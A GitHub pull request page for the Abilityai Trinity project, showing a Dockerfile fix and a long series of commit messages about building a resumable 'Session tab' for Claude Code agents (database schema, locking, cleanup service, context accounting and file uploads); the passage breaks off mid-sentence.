Skip to content

fix: add missing logging_config.py to backend Dockerfile - #4

Merged
vybe merged 1 commit into
Abilityai:mainfrom
webmixgamer:fix/dockerfile-logging-config-clean
Jan 7, 2026
Merged

vybe merged 1 commit into
Abilityai:mainfrom
webmixgamer:fix/dockerfile-logging-config-clean

Conversation

@webmixgamer

Copy link
Copy Markdown
Contributor

The backend Dockerfile was missing COPY instruction for logging_config.py, causing ModuleNotFoundError when running in production mode (docker-compose.prod.yml).

Development mode works because it uses volume mounts that include all files, but production builds only the explicitly copied files.

The backend Dockerfile was missing COPY instruction for logging_config.py,
causing ModuleNotFoundError when running in production mode (docker-compose.prod.yml).

Development mode works because it uses volume mounts that include all files,
but production builds only the explicitly copied files.
@vybe
vybe merged commit b288d11 into Abilityai:main Jan 7, 2026
vybe added a commit that referenced this pull request Jan 7, 2026
- Add Phase 13-14 requirements for scalability & process orchestration
- Document simplified role model (Executor/Monitor/Informed)
- Add human approval steps concept for business processes
- Enhance demo-analyst and demo-researcher templates
- Improve create-demo-agent-fleet command
- Fix replay mode activity & context simulation in network.js
- Merge conflict resolution for PR #3 and #4 changelog entries

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
oleksandr-korin added a commit that referenced this pull request Jan 19, 2026
Test Results:
- T2.1: Exclusive gateway (XOR) routing ✅
- T2.2: Gateway with default route fallback ✅
- T2.3: Parallel execution (fork/join) ✅
- T2.4: Step-level conditional skip ✅

Key Findings:
- Gateway routes use 'target' field (not 'next')
- Default route via 'default_route' at step level
- Step conditions use path syntax (steps.x.output.y)
  not template syntax ({{steps.x.output.y}})

Fixes Applied:
- Fixed all T2 YAMLs with correct gateway syntax
- Added depends_on and conditions for path steps
- Documented Issue #4 in test results

Running Total: 8/22 tests passing (36%)
Refs: PROCESS_ENGINE_ROADMAP.md Phase 1
oleksandr-korin added a commit that referenced this pull request Jan 19, 2026
Test Results:
- T2.1: Exclusive gateway (XOR) routing ✅
- T2.2: Gateway with default route fallback ✅
- T2.3: Parallel execution (fork/join) ✅
- T2.4: Step-level conditional skip ✅

Key Findings:
- Gateway routes use 'target' field (not 'next')
- Default route via 'default_route' at step level
- Step conditions use path syntax (steps.x.output.y)
  not template syntax ({{steps.x.output.y}})

Fixes Applied:
- Fixed all T2 YAMLs with correct gateway syntax
- Added depends_on and conditions for path steps
- Documented Issue #4 in test results

Running Total: 8/22 tests passing (36%)
Refs: PROCESS_ENGINE_ROADMAP.md Phase 1
pavshulin pushed a commit that referenced this pull request Mar 31, 2026
- requirements.md: Added SLACK-FILES requirement (§15.1b-iii)
- feature-flows/slack-file-sharing.md: Full flow document
- feature-flows.md: Index updated with new flow
- task_execution_service.py: Move start_time before try block (review item #3)
- message_router.py: Sanitize session_id in upload path (review item #4)

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
vybe added a commit that referenced this pull request Mar 31, 2026
…container (#222)

* feat: Bidirectional file sharing — Slack to agent (inbound) (#222)

Enable Slack users to upload files that agents can process. Images are
embedded as base64 data URIs for Claude vision. Text files (CSV, JSON,
TXT, etc.) are copied into per-session container directories via Docker
put_archive API.

Security:
- Filename sanitization (path traversal prevention, hidden file rejection)
- Per-user file upload rate limiting (5 files/min)
- Size caps: 5MB per image, 10MB per file, 10MB total inline images
- Max 10 files per message
- Unsupported formats rejected with user message (PDF, archives, video, audio)
- Per-session upload dirs cleaned up after execution (all exit paths)

Architecture:
- FileAttachment model + files field on NormalizedMessage (channel-agnostic)
- adapter.download_file() — each channel implements its own download auth
- files:read OAuth scope added for Slack workspace installs
- container_put_archive() async wrapper in docker_utils
- Task execution logging: timeout, HTTP status, elapsed time

Tests: 36 unit tests covering sanitization, type routing, size limits,
       extraction, rate limiting, session directories

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* docs: Add requirements, feature flow for Slack file sharing (#222)

- requirements.md: Added SLACK-FILES requirement (§15.1b-iii)
- feature-flows/slack-file-sharing.md: Full flow document
- feature-flows.md: Index updated with new flow
- task_execution_service.py: Move start_time before try block (review item #3)
- message_router.py: Sanitize session_id in upload path (review item #4)

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

---------

Co-authored-by:  Pavlo <pash@pashs-MBP.home>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: vybe <me@evyborov.com>
vybe added a commit that referenced this pull request Apr 21, 2026
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
vybe added a commit that referenced this pull request Apr 22, 2026
vybe pushed a commit that referenced this pull request May 5, 2026
* docs(planning): add Session tab design — --resume-default chat surface

Adds docs/planning/SESSION_TAB_2026-04.md, the comprehensive plan for a
new "Session" tab living alongside Chat. Sessions reattach to their own
Claude Code JSONL via --resume, preserving tool memory, mid-skill state,
and reasoning state across turns.

Plan covers:
- UI design (tab placement, multi-session model, +New Session, Reset memory)
- Data model (agent_sessions / agent_session_messages — parallel to chat)
- Backend architecture (separate router, single shared change to
  task_execution_service for persist_session plumbing)
- Phased rollout (foundation → backend → frontend → hardening → GA)
- Edge cases & failure-mode lessons baked in from a prior local spike
  (parser bug, --no-session-persistence dependency, cold-turn detection,
  port allocation)
- Test plan including the cross-session contamination test for
  Anthropic claude-code#26964
- Retention/cleanup policy, observability, security checklist
- Local-first workflow: implementation runs entirely on this branch
  until validation passes; only then does the standard SDLC engage
  (issue, push, PR)

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(db): add agent_sessions + agent_session_messages tables

Phase 1.1 of the Session tab plan (docs/planning/SESSION_TAB_2026-04.md).
Schema definitions go in db/schema.py for fresh installs; the matching
idempotent migration agent_sessions_tables in db/migrations.py upgrades
existing databases.

The schema mirrors chat_sessions / chat_messages but is strictly parallel
— no foreign keys, no shared columns, separate index namespace. Three
fields are unique to the session model:

- agent_sessions.cached_claude_session_id — the Claude Code session UUID
  the next turn will pass to ``--resume``
- agent_sessions.consecutive_resume_failures — drives the resume-failure
  fallback (Phase 2.2)
- agent_session_messages.cache_read_tokens — observability for whether
  Anthropic's prompt cache engaged

CASCADE on session delete cleans up message rows automatically.

Verified locally: backend restart applies the migration cleanly, tables
have 15 columns each with correct types/defaults/PKs, all four indexes
created, second restart confirms idempotency.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(db): add SessionOperations for Session tab persistence

Phase 1.2 of the Session tab plan (docs/planning/SESSION_TAB_2026-04.md).

- Adds AgentSession and AgentSessionMessage Pydantic models in db_models.py
  with the new fields the Session tab needs beyond ChatSession/ChatMessage:
  cached_claude_session_id, last_resume_at, consecutive_resume_failures on
  the session row, and cache_read_tokens + claude_session_id on each message.

- Creates db/sessions.py with a SessionOperations class mirroring the
  ChatOperations shape: create_session, get_session, list_sessions,
  delete_session, add_session_message, get_session_messages, plus the
  Claude UUID cache helpers (get/update/clear_cached_claude_session_id)
  and resume health helpers (mark_resume_failure, mark_resume_success).

- Wires the new ops into the DatabaseManager facade alongside the
  existing _chat_ops, with one delegating method per public operation.

No router, no agent-server change, no frontend yet — those land in later
phases. Tables agent_sessions and agent_session_messages already exist
from the prior schema commit.

* feat(session-tab): backend foundation for --resume-default Session surface

Phases 1.3 through 1.7 of the Session tab plan
(docs/planning/SESSION_TAB_2026-04.md). Pure backend / agent-server work
behind a flag — no UI surface yet, no behavior change to Chat or any
existing /task caller.

Agent server (base image):

- Stream-json parser fix (Appendix B). Both parse_stream_json_output and
  process_stream_line now recognize {"type":"system","subtype":"init"}
  for session_id capture, with the result event as a fallback when init
  was missed (truncated streams). The legacy bare-init shape is
  intentionally rejected. This is the same bug that would have made
  Session caching corrupt on every cold turn.

- Same bug in execute_headless_task's permission-mode validation site:
  the check matched the wrong shape, so permission_mode_validated never
  flipped to True and the protective kill-on-misconfigured-permission
  path silently failed open. Now uses type=system + subtype=init.

- New persist_session flag threaded through ParallelTaskRequest →
  routers/chat.py → AgentRuntime ABC → ClaudeCodeRuntime.execute_headless
  → execute_headless_task. When True, --no-session-persistence is
  omitted so the JSONL is written and the next turn's --resume can find
  it. --session-id is still passed for unique cold-turn namespace.
  Default False keeps every existing caller stateless.

- gemini_runtime accepts the parameter for ABC parity and ignores it
  (Gemini CLI has no resume).

Backend:

- task_execution_service.execute_task now accepts persist_session: bool
  = False and threads it into the agent payload. All existing callers
  (Chat, schedules, MCP, fan-out, webhooks) keep today's behavior; only
  the future routers/sessions.py (Phase 2) opts in.

- settings_service.is_session_tab_enabled() — feature flag resolving
  system_settings.session_tab_enabled → SESSION_TAB_ENABLED env →
  False. Module-level convenience function exposed.

Tests (run inside trinity-backend container — Python 3.11):

- tests/unit/test_session_operations.py — 9 tests against an isolated
  SQLite DB exercising the full SessionOperations CRUD plus the cached
  claude session UUID lifecycle and resume failure / success counters.

- tests/unit/test_claude_code_session_id_parser.py — 8 tests covering
  both parsers (batch + streaming): system/init recognition, result
  fallback, init-wins-over-result, legacy bare-init rejection, and a
  source-level regression guard for the permission-mode validation
  fix.

- tests/unit/test_session_persistence_flag.py — 8 tests pinning the
  contract: signatures across the runtime ABC, ParallelTaskRequest,
  agent chat router, execute_headless_task, and
  task_execution_service.execute_task. Includes the gating regex check
  on --no-session-persistence and a live signature import to catch
  drift AST parsing alone would miss.

Total: 25 passing tests covering every touchpoint of Phase 1.

Base image (trinity-agent-base) rebuilt to embed the agent-server
changes; existing agent containers will pick them up on next recreate.

* feat(session-tab): backend turn endpoint for --resume-default Session surface

Phase 2 of docs/planning/SESSION_TAB_2026-04.md. Six endpoints under
/api/agents/{name}/session{s,...} that mirror routers/chat.py's auth
model and TaskExecutionService usage but persist to the parallel
agent_sessions / agent_session_messages tables and request
persist_session=True on every turn so each call reattaches via
`claude --print --resume <uuid>`.

Surface gated on is_session_tab_enabled() — flag-off default returns
404 from every endpoint.

  POST   /api/agents/{name}/session                  create row
  GET    /api/agents/{name}/sessions                 list (per-user)
  GET    /api/agents/{name}/sessions/{id}            session + messages
  POST   /api/agents/{name}/sessions/{id}/message    THE turn
  POST   /api/agents/{name}/sessions/{id}/reset      clear cached uuid
  DELETE /api/agents/{name}/sessions/{id}            delete row + msgs

Spike-pitfall defenses baked into the turn endpoint:

- L3 (first-turn-has-no-session-id): the agent_sessions row is created
  server-side via POST /session BEFORE the turn endpoint ever calls
  execute_task. No frontend-first model.
- L2 (cold turn writes empty JSONL): persist_session=True is passed
  unconditionally — Phase 1.4 already wired the flag through the agent
  stack; Phase 2 just promises to set it on every turn.
- L1 (parser misses system/init): trust result.session_id directly —
  Phase 1.3 fixed the parser. Scenario A confirms the captured UUID is
  the real Claude UUID end-to-end.

Phase 2.2 resume-failure fallback: when execute_task returns "no
conversation found" on a turn that had a cached UUID, clear the cache,
mark_resume_failure, and retry once with resume_session_id=None. Logs
event=session_resume_fallback with the stale UUID and consecutive
failure count. Anthropic #39667 (cleanupPeriodDays) and #53417 (CLI
upgrade) both produce this signal.

Phase 2.3 Redis lock: SET NX EX per (agent, claude_uuid) with 5-min TTL
and Lua-script release. Async poll loop (250ms tick) so the event loop
stays free during contention. Cold turns skip the lock (no JSONL to
corrupt). Hard 30s wait ceiling — beyond that the contender gets HTTP
429 with retry hint. Mitigation for Anthropic #20992 (concurrent
--resume JSONL writes corrupt the file).

Per-user ownership at the row layer: even agent owners cannot read or
send into another user's session (E6 isolation in the design doc).
Returns 404 for ownership failures so we don't leak session-id existence.

Tests (tests/integration/test_session_turns.py, run inside
trinity-backend container with docker.sock mounted for testfix
recreation + JSONL surgery in Scenario C):

  Scenario A: 3-turn happy path — same Claude UUID across turns
  Scenario B: turn 2 recalls a secret from turn 1, no text-replay
  Scenario C: JSONL deletion mid-session triggers fallback + recovery
  Scenario D: concurrent POSTs serialise via Redis lock
              (asserts finish_gap ≈ winner_work_time, NOT total wall)
  Scenario E: switching sessions A → B → A preserves A's UUID

5 passed in 54.5s against the live agent-testfix container (recreated
onto the rebuilt base image first per L4 in the plan). Phase 1's 25
unit tests still pass — no regressions.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(session-tab): frontend Session surface

Phase 3 of docs/planning/SESSION_TAB_2026-04.md. Adds the new "Session"
tab in AgentDetail, gated on the is_session_tab_enabled() platform flag
so it stays invisible until explicit opt-in (default off).

Backend prerequisite — routers/settings.py:

- GET /api/settings/feature-flags exposes a curated allowlist of UI-
  relevant flags to any authed user. The existing /api/settings/{key}
  endpoint is admin-only and would block non-admin frontends from even
  knowing whether to render the Session tab. The new endpoint reads
  through services.settings_service.is_session_tab_enabled() so the
  resolution order (DB → env → False) stays in one place.

Frontend:

- src/frontend/src/stores/sessions.js — Pinia store wrapping the six
  /api/agents/{name}/sessions* endpoints with per-agent state isolation
  and the feature-flag cache. Optimistic user-message insert with
  rollback on send failure.

- src/frontend/src/components/SessionPanel.vue — structural copy of
  ChatPanel reusing ChatMessages + ChatInput + ModelSelector. Differs
  from Chat in three places per the design doc:
    * Sends bare user_message to POST .../sessions/{id}/message — no
      buildContextPrompt text-replay (the agent already has working
      memory via --resume).
    * "Reset memory" button + confirm modal that clears the cached
      Claude UUID without deleting the message log (Phase 3.4).
    * Per-session selector subtitle: turn count, context % used,
      cached-memory dot (emerald/gray), and consecutive_resume_failures
      indicator (Phase 3.5).
  Lean cut for first-visible-surface: voice mic, file upload, and SSE
  dynamic status labels are deferred — those need backend extensions
  (file payload on the turn endpoint, async_mode + SSE on the same).

- src/frontend/src/views/AgentDetail.vue — new Session tab inserted
  between Chat and Dashboard/Schedules, gated on
  sessionsStore.sessionTabEnabled. Layout sites that previously
  branched on activeTab === 'chat' now use a shared isFullscreenTab
  computed so Chat and Session both get the input-pinned-to-bottom flex
  layout. ?tab=session deep-link allowlist updated.

- src/frontend/e2e/session-tab.spec.js — Phase 3.6 Playwright spec.
  Marked @Interactive (not @smoke) because each run makes one real
  Claude API call (~10–60s). Snapshots the prior flag value in
  beforeAll, force-enables for the run, restores in afterAll so a
  failed run doesn't leave the platform with the flag dirty. Three
  cases:
    * tab is hidden when flag is off
    * tab appears, "+ New Session" → send turn → reply visible →
      Reset memory modal opens + closes
    * Chat tab still works after Session interaction; switching back
      preserves Session state

Visually verified in the live dev server: tab renders in correct
position, header layout matches Chat's structure, empty state and
placeholder copy match the design doc, "Reset memory" only shown when
an active session exists, full-viewport flex layout pins input to
bottom.

Phase 1 + Phase 2 work behind this change is unchanged: 25 unit tests
+ 5 integration tests still green.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(session-tab): hardening + observability — cleanup service, contamination gate, docs

Phase 4 of docs/planning/SESSION_TAB_2026-04.md. Closes the JSONL
disk-growth loop, validates the GA-blocking cross-session contamination
hypothesis empirically, and lands architecture.md / feature-flows
documentation so the surface is discoverable.

Phase 4.3 — cross-session contamination GA gate (the load-bearing one):

- tests/integration/test_session_cross_contamination.py exercises the
  Anthropic #26964 hypothesis end-to-end. Plants a randomly-generated
  secret token in session A with explicit "do not echo" framing, asks
  session B (different UUID, same agent, same cwd) to recall the token.
  Hard-fails if the exact token leaks; soft-fails on partial-prefix
  recall (PURPLE-DRAGON without the random suffix would only be
  knowable from A's JSONL, not from training).
- PASSED in 9.5s on the current Claude Code version → shared-cwd model
  is safe → Phase 5 rollout unblocked. Test stays in the suite as the
  per-version regression guard.

Phase 4.2 — JSONL cleanup service:

- services/session_cleanup_service.py runs a 6h periodic sweep that
  diffs every running agent's
  ~/.claude/projects/-home-developer/<uuid>.jsonl set against
  db.list_active_claude_session_ids(agent) and reaps orphans whose
  mtime is older than the 1h race guard. Race guard prevents the
  cold-turn-vs-cleanup window where a brand-new JSONL exists on disk
  before the backend has updated cached_claude_session_id.
- Same service exposes a synchronous reap_jsonl(agent, uuid) helper
  called best-effort from routers/sessions.py reset/delete handlers so
  the user-perceived disk-reclaim latency is sub-second. Never raises;
  failures are logged and the periodic sweep is the safety net.
- Implementation uses execute_command_in_container — the same primitive
  git_service / ssh_service / scheduler pre-check / agent terminal use.
  No new agent-server endpoint, no base-image rebuild.
- New db.list_active_claude_session_ids(agent) facade method backed by
  SessionOperations.list_active_claude_session_ids querying every
  agent_sessions row whose cached_claude_session_id is non-null for the
  agent.
- main.py wires startup (staggered +7.5s after cleanup_service to
  offset Docker hits) and clean shutdown.
- tests/integration/test_session_cleanup.py: reset reaps synchronously,
  delete reaps synchronously, periodic sweep keeps the active JSONL,
  reaps an aged orphan, respects the 1h race guard for fresh orphans.

Phase 4.4 — architecture.md updates:

- Background Services table gets a Session Cleanup row.
- New "Session Tab" subsection in API Endpoints documenting all six
  /api/agents/{name}/sessions* routes including the per-user ownership
  rule (404 not 403) and the resume-failure fallback / Redis lock.
- New /api/settings/feature-flags row.
- New agent_sessions / agent_session_messages DDL block in Database
  Schema, with the three Session-specific fields called out
  (cached_claude_session_id, consecutive_resume_failures,
  cache_read_tokens, claude_session_id audit).

Phase 4.5 — feature-flows/session-tab.md vertical slice:

- Full path from UI → API → DB → Side Effects with the JSONL lifecycle
  table, the spike-pitfall defense map (L1/L2/L3/#20992/#26964), the
  error-handling matrix, and the complete test catalog with the docker
  run command for the integration suite.
- feature-flows.md index updated (Recent Updates row + Chat & Sessions
  section entry).

Test totals: 25 unit + 9 integration = 34 tests, all green. Phase 4.3
serves as both the GA gate and the per-Claude-version regression guard.

Phase 4.1 (cache_read_tokens UI surfacing) deferred — the column is
already populated by the Phase 2 turn endpoint; surfacing is a minor
observability follow-up that doesn't block Phase 5.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(session-tab): tag Session-tab turns with triggered_by="session" and a gold badge

Previously Session-tab turns went into schedule_executions with
triggered_by="chat", so the Tasks tab couldn't tell them apart from
the Chat tab. The user-visible signal was that every Session turn
showed up under the sky-blue "chat" badge.

Backend (routers/sessions.py): both call sites that invoke
task_execution_service.execute_task — the cold/resume turn and the
resume-failure fallback retry — now pass triggered_by="session".
Existing rows are unchanged; the cutover is per-write.

Frontend (TasksPanel.vue): adds a "Session" option between "Chat" and
"Manual" in the trigger filter dropdown, plus an amber/gold badge
branch (bg-amber-100 dark:bg-amber-900/30 text-amber-700
dark:text-amber-300) — visually distinct from "paid" (bright yellow)
and from the sky-blue "chat" badge.

triggered_by is a free-form TEXT column (no enum constraint at the DB
or service layer), so adding "session" as a new value doesn't require
any migration or downstream consumer updates. Filter, badge, audit
log, activity stream, and dashboards all just see another value and
display it; nothing has to know about it explicitly.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(session-tab): correct context-window accounting + raise frontend turn timeout

Five interrelated fixes from manual testing — all about the per-turn
"context %" metric being misleading and the browser timing out before
long-running session turns finished.

1) Agent server (docker/base-image/agent_server/services/claude_code.py)
   process_stream_line's `result` event handler used to overwrite
   metadata.input_tokens, cache_read_tokens, and cache_creation_tokens
   with the values from result.usage. Those values are CUMULATIVE
   across every internal API call the turn made (Claude Code packs
   tool-use loops into a single user turn that maps to N internal API
   calls). For an 18-iteration turn each reading the same 70K cached
   prefix, result.usage.cache_read_input_tokens = 18 * 70K = 1.26M
   tokens — billing-cumulative, not the prompt size of any single call.
   Overwriting per-message values with that aggregate made our
   context-window-pressure metric grow far beyond the 200K limit even
   when no individual API call was anywhere close to the wall.

   Fix: result handler now only extracts model-level facts (cost,
   duration, num_turns, session_id, error info, modelUsage.contextWindow).
   Per-API-call usage stays in the per-assistant-message handler, where
   the LATEST message's values represent the FINAL API call's prompt
   size — exactly what determines whether the next turn will fit.

   Also added a per-message usage-extraction block to the assistant
   branch of process_stream_line (it previously had no usage extraction
   at all, relying entirely on the result handler — which made my
   first attempt at this fix produce zero values). parse_stream_json_output
   already had the equivalent block (lines 211-215).

   Base image rebuilt; agent-testfix recreated onto the new image
   (image sha 0a1e20b40da1).

2) Backend (services/task_execution_service.py)
   Replaced `context_used = metadata.input_tokens` with
   `cache_read + cache_creation` (with input_tokens fallback when
   caching isn't engaged). input_tokens is sometimes the disjoint
   fresh value and sometimes inflated by the agent server's
   modelUsage.inputTokens override on tool-call turns. cache_read
   and cache_creation come straight from Anthropic's usage object
   and (post agent-server fix) are reliable per-call values that
   monotonically reflect the cached conversation prefix.

3) DB (db/sessions.py)
   total_context_used is now a HIGH-WATERMARK (MAX of prior + new),
   not the latest value. Per-turn context naturally oscillates by ~2x
   between text-only and tool-call turns; the watermark gives users
   a stable monotonic upper bound on session pressure that only goes
   up.

   Capped the watermark at total_context_max as a safety belt against
   any future agent-server bug that emits cumulative-billing token
   counts. Genuine per-call peaks should never exceed the model's
   context window — if they do, that's an accounting error not a
   real overflow, and the UI should display 100% rather than 648%.

4) Frontend (stores/sessions.js)
   Bumped the Axios timeout on the session turn endpoint from 305s
   (~5 min) to 7260s (= TIMEOUT-001 cap of 7200s + 60s slack). The
   session turn endpoint is synchronous and may legitimately run for
   the agent's full execution timeout. With the previous 305s ceiling
   the browser threw a misleading "failed" toast on tool-heavy turns
   that ran longer; the response still landed in the DB and the UI
   recovered after a page refresh, but the user saw a phantom error.

Verified end-to-end with a 6-turn mixed sequence (text + tool-call):
per-call cache_read now reports ~11636 on text-only turns and ~18000
on tool-call turns (one extra round-trip's worth) instead of the
previous bogus 1,257,915 on tool-heavy turns. Watermark grows from
18073 to 18429 across 6 turns — monotonic, no oscillation, real
per-call peaks.

Existing inflated session rows (the bogus 648% / 100% sessions from
before this fix) stay as-is — the watermark cap stops them growing
further but the historical max is permanently stored. New sessions
created after this commit are accurate.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(session-tab): Phase 5.1 — context warnings, stdout-race recovery, limitations doc

Bundles the round-of-decisions outcomes from the Phase 5 open-questions
discussion. Three code changes, three deferrals documented, one item
gated on a manual test before shipping.

Frontend (SessionPanel.vue) — context-window pressure warnings.
Buckets driven by the active session row's watermark divided by
total_context_max:
  < 75%  : nothing
  75–89% : subtle gray "Session context: X% — heavy" hint
  90–99% : amber banner with "Reset memory" suggestion
  ≥ 100% : red banner warning the next turn may fail or trigger
           memory-loss fallback
No hard send-block at 100% — fallback path stays as the safety net.
Computed values gracefully handle a brand-new session (no row yet).

Agent server (claude_code.py) — stdout pipe race soft recovery. When
a child subprocess inherits Claude Code's stdout, the final result
event line can be lost ("I/O operation on closed file" + "Reader
thread(s) stuck after process exit"). Previously surfaced as 502 with
the misleading "infrastructure failure; retry the task" message even
though the assistant had completed its work and accumulated text into
response_parts. The reply was sitting in the JSONL on disk untouched;
only the closing-stats line was lost in the pipe.

  Fix: at the empty-result classification site, if response_parts has
  accumulated assistant text, log a warning and fall through to the
  success path instead of raising. cost_usd / duration_ms stay None
  for these recovered turns (we don't know what they were); the backend
  records the execution as success with null cost rather than a
  misleading FAILED. Hard failure path stays for the truly empty case
  (no response_parts content).

  Base image rebuilt; agent-testfix recreated onto image
  305731fc34e0. The user's last "comprehensive report" turn that
  produced 67KB of content but threw a phantom error in the UI would
  now succeed cleanly.

Docs (feature-flows/session-tab.md) — Known limitations section. Five
entries that need to make it into the user-facing docs at Phase 5.3:
  1. Voice mic not wired into Session (deferred — Chat tab for voice)
  2. Per-message file upload not yet supported on Session (Phase 5.2)
  3. Agent restore from backup may require fresh sessions (separate
     platform-level issue — workspace volumes not in backup script)
  4. Long Session turns may surface phantom errors in browsers (Axios
     7260s ceiling vs. browser/OS sleep — refresh recovers)
  5. Stdout pipe race recovery is best-effort (recovered turns will
     show null cost / duration in Tasks tab)

Round-of-decisions outcomes:
  ✅ #1 — UI thresholds shipped here, stdout race fixed here
  ⏳ #2 — subscription-change cache clear (E7) — gated on manual
         §5.5 test before shipping the proactive clear
  ⏭ #3 — backup/restore (E9) — separate platform-level issue
         later; documented in §Known limitations
  ⏭ #4 — admin JSONL UI access — deferred follow-up
  📋 #5 — file upload parity — Phase 5.2
  ⏭ #6 — voice on Session — deferred + documented limitation

The §5.5 E7 verification test was added to tests/manual/session-tab/README.md
which is tracked locally only (per the testing-kit precedent). Decision
on the proactive cache-clear hinges on its outcome.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(session-tab): Phase 5.2 — file-upload parity with Chat

The Session tab's input had drag-drop and the paperclip button (inherited
from ChatInput), but the second arg from ChatInput's submit event
(the files array) was being parameter-discarded in SessionPanel.vue
and never reached the backend. Result: users uploaded a file, sent
their message, and the agent reported "I can't see any attached file
in this conversation" — the upload silently dropped.

Closes the parity gap by mirroring routers/chat.py's exact upload
handling. No new behavior — same limits (3 files, 5 MB each, 5 MB per
image, 20 MB total image budget per WEB_MAX_*), same image-vs-non-image
split, same prompt-line append.

Backend (routers/sessions.py)
  - SessionMessageRequest: new optional `files` list (same shape as
    ParallelTaskRequest.files / WebFileUpload — name, mimetype, size,
    data_base64).
  - Turn endpoint: when body.files is set, decode each via
    services.upload_service.decode_web_file, then run the same
    process_file_uploads() helper Chat uses. Non-images get written
    into the agent workspace via Docker put_archive; images come back
    as already-decoded vision-block dicts in image_data.
  - Append the file_descs lines to a new `effective_message` so the
    agent prompt contains "[File uploaded by X]: name (size) saved to
    path" references inline. Persisted user message stays as the
    original body.message — visible chat log reads naturally; the
    agent sees the file references.
  - Pass image_data to execute_task as `images=` so vision blocks land
    on the next API call. Both the resume call and the cold-retry
    fallback receive the same effective_message + images (files were
    already written to the workspace before the first attempt; cold
    retry just re-references them).
  - 502 from process_file_uploads' all_writes_failed bubbles up
    cleanly; agent-not-found pre-check returns 503.

Frontend (stores/sessions.js)
  - sendMessage() accepts a `files` array in opts; included in the
    POST body when non-empty. Optimistic user-message insert stays
    text-only (the chat log preview doesn't need to render
    file chips).

Frontend (SessionPanel.vue)
  - onSubmit() now takes both args from ChatInput's submit event.
    Allow-empty-text-with-files is permitted (matches Chat's UX).
  - Forwards files into sessionsStore.sendMessage's opts.

Verified end-to-end on a fresh session: uploaded a 66-byte text file
with a unique sentinel embedded; agent read the file out of the
workspace and recalled the sentinel verbatim. No fallback fired.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(session-tab): drop watermark, store last-cache reading directly

agent_sessions.total_context_used was a high-water mark (MAX of all
per-turn cache readings, capped at total_context_max). Claude Code's
auto-compact (~85% of the model window) silently resets the cache
mid-turn, so the watermark asymptoted near the compact threshold and
stopped conveying useful information — every heavy session ended up
visually stuck around 67-69% regardless of actual recent activity.

Switch to direct assignment of the most recent assistant turn's cache
size. The total_context_max cap (cc5c37b) stays as defence-in-depth
against agent-server accounting bugs reporting impossible token
counts. Existing inflated rows on agent-testfix self-heal on next
turn — no migration, no backfill.

Two new unit tests pin the contract: a lower new value overwrites a
higher prior value, and a None reading preserves the prior value
(stdout-pipe-race recovered turns).

* fix(session-tab): rename "% context" to "% last cache" and remove pressure banners

The 75/90/100% banners never fired empirically — Claude Code auto-
compacts mid-turn at ~85% of the model window, which prevents the
underlying metric from ever crossing 75%. A pressure warning that
silently never warns is worse than none.

The subtitle label "% context" reads as session memory pressure when
it's actually the most recent assistant turn's cache size. Relabel to
"% last cache" so the meaning matches what the column actually stores
(after the prior commit dropped the watermark semantics).

Reset modal copy: drop the "context-window pressure" framing for the
same reason, replace with "start a clean line of thought."

Removes orphaned contextPct / contextPctBucket / currentSession
script helpers — no remaining users after the banner deletion.

* docs(user-docs): add Session tab user guide

Covers what the Session tab is, when to use it vs Chat, and the three
limits/behaviours users will hit on a long heavy session:

- The "last cache" metric — explicitly per-turn cache size, NOT
  session memory pressure. Bounces because of auto-compact.
- Auto-compact at ~85% of the model window — what users see (sudden
  drop in % last cache, ~2 min added latency), what survives (working
  memory in compressed form), what doesn't (verbatim history).
- The 50-turn agentic-loop cap (max_turns_task) — per-turn iteration
  budget, NOT session message count. Heavy 12-step tasks routinely
  hit it. Includes a curl recipe for raising the cap per agent via
  PUT /api/agents/{name}/guardrails.

Also documents Reset memory, file attachments, the Session API
endpoint surface, and the four known limitations carried over from
docs/memory/feature-flows/session-tab.md (voice not wired, DR
backup forces fresh sessions, suspended-browser phantom errors,
stdout-pipe-race best-effort recovery).

Modeled after docs/user-docs/agents/agent-chat.md for tone and
structure.

* feat(db): persist auto-compact events on session messages and executions

Claude Code's auto-compact (~85% of the model window) silently summarizes
~170k tokens of conversation into a ~10k summary mid-turn, takes ~2 min,
and previously left no trail in our data — users saw only an unexplained
long execution and a sudden % drop on the next turn.

This change adds three additive nullable columns plus the persistence
plumbing across the standard Trinity router → service → db pipeline:

  - agent_session_messages.compact_metadata (TEXT, JSON list of events)
  - agent_sessions.compact_count            (INTEGER, running tally)
  - schedule_executions.compact_metadata    (TEXT, denormalized for Tasks)

The session-level compact_count drives a future inline "consider starting
fresh" hint without scanning per-message rows. The denormalized copy on
schedule_executions lets the Tasks tab render the badge without joining
session messages — Trinity invariant 1 (router → service → db) preserved
on both the Session router and the task_execution_service.

Migration is idempotent via the existing _safe_add_column helper. Empty
columns on existing rows; populates from the next turn forward once the
agent server is rebuilt with the parser branch (separate commit).

One new unit test pins compact_metadata persistence + compact_count
accumulation across turns; the existing test_session_operations DDL
fixture mirrors the new columns.

* feat(agent-server): parse compact_boundary events and emit structured log

Claude Code emits {"type":"system","subtype":"compact_boundary","compactMetadata":{trigger,preTokens,postTokens,durationMs}}
on its stream-json output when it auto-compacts mid-turn. Both parsers
(parse_stream_json_output for batch, process_stream_line for live) now
recognise the event, append a CompactEvent to metadata.compact_events,
and emit a structured INFO log line per event:

  event=session_auto_compact claude_session_id=... trigger=auto
  pre_tokens=170325 post_tokens=12691 duration_ms=110361

Vector picks the line up via Docker stdout — no infrastructure change.
The compact_events list rides through ExecutionMetadata.model_dump()
into the agent server HTTP response, where the backend extracts and
